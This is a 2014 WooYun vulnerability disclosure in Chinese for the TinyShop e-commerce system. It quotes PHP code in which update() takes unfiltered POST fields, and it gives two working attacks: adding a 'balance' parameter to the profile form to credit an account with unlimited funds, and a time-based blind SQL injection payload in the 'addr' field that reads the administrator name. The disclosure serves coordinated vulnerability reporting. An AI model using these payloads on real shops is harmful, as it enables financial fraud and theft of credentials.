当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-068912

漏洞标题:TinyShop sql注入#3( 可无限充值)

相关厂商:tinyrise.com

漏洞作者: roker

提交时间:2014-07-18 11:11

修复时间:2014-10-16 11:12

公开时间:2014-10-16 11:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-18: 细节已通知厂商并且等待厂商处理中
2014-07-20: 厂商已经确认,细节仅向厂商公开
2014-07-23: 细节向第三方安全合作伙伴开放
2014-09-13: 细节向核心白帽子及相关领域专家公开
2014-09-23: 细节向普通白帽子公开
2014-10-03: 细节向实习白帽子公开
2014-10-16: 细节向公众公开

简要描述:

rt

详细说明:

我们看到
/protected/controllers/ucenter.php

public function info_save()
{
$name = Filter::sql(Req::args("name"));
$id = $this->user['id'];
$this->model->table("user")->data(array("name"=>$name))->where("id=$id")->update();
$this->model->table("customer")->where("user_id=$id")->update();
$obj = $this->model->table("user as us")->join("left join customer as cu on us.id = cu.user_id")->fields("us.*,cu.group_id,cu.login_time")->where("us.id=$id")->find();
$this->safebox->set('user',$obj,$this->cookie_time);
$this->redirect("info");
}


看到这行代码

$this->model->table("customer")->where("user_id=$id")->update();


继续跟到 updata()

public function update()
{
$sql = $this->sql;
if(!is_array($sql['data']) || count($sql['data'])<1)
{
$sql['data'] = Req::post();
}
$set = '';
foreach($sql['data'] as $key => $val)
{
if(is_string($key) && $key != $this->primary_key && isset($this->fields[$key]))
{
if(is_string($key))
{
$value = $val;
if(is_null($val)){
$value = 'NULL';
}else{
$value = $this->formatField($this->fields[$key],$val);
}
if(is_scalar($value))
{
if(!is_array($val) && preg_match("/`$key`/i",trim($val))){
$set .= '`'.$key.'` = '.$val.',';
}
else $set .= '`'.$key.'` = '.$value.',';
}
}
}
}
if($set!='')
{
$set = 'set '.trim($set,',');
$this->fields($set);
$this->changeWhere();
$sql = $this->sql;
$sqlStr = "update {$sql['table']} {$set} {$sql['where']}";
return $this->query($sqlStr);
}
}


post

public static function post()
{
$num = func_num_args();
$args = func_get_args();
if($num==1)
{
if(isset( $_POST[$args[0]])){
if(is_array( $_POST[$args[0]]))return $_POST[$args[0]];
else return trim( $_POST[$args[0]]);
}
return null;
}
else if($num>=2)
{
if($args[1]!==null) $_POST[$args[0]] = $args[1];
else if(isset($_POST[$args[0]])) unset($_POST[$args[0]]);
}
else
{
return $_POST;
}
}


如果调用updata()时没有传递 data数组。他会从post传递过来的数据 赋值于set 带入sql语句 。
#1 无限充值
我们 注册用户后 来到资料修改处
抓包 ,在原有的基础上 加上balance=10000000
例如

1.jpg


2.jpg


可以看到我瞬间土豪了。。。这个系统 还可以提现。。危害还是蛮大的。
#2 延时盲注
若 gpc关闭 或 php为高版本 我们还能进行盲注
修改 addr=' or if(ascii(substr((select name from tiny_manager),1,1))-97,null,sleep(2)) or '1

1.jpg


2.jpg


延时成功。

漏洞证明:

2.jpg


2.jpg

修复方案:

你们更专业

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2014-07-20 10:47

厂商回复:

非常感谢您为TinyShop信息安全做的贡献
我们将尽快修复,非常感谢您的支持。

最新状态:

暂无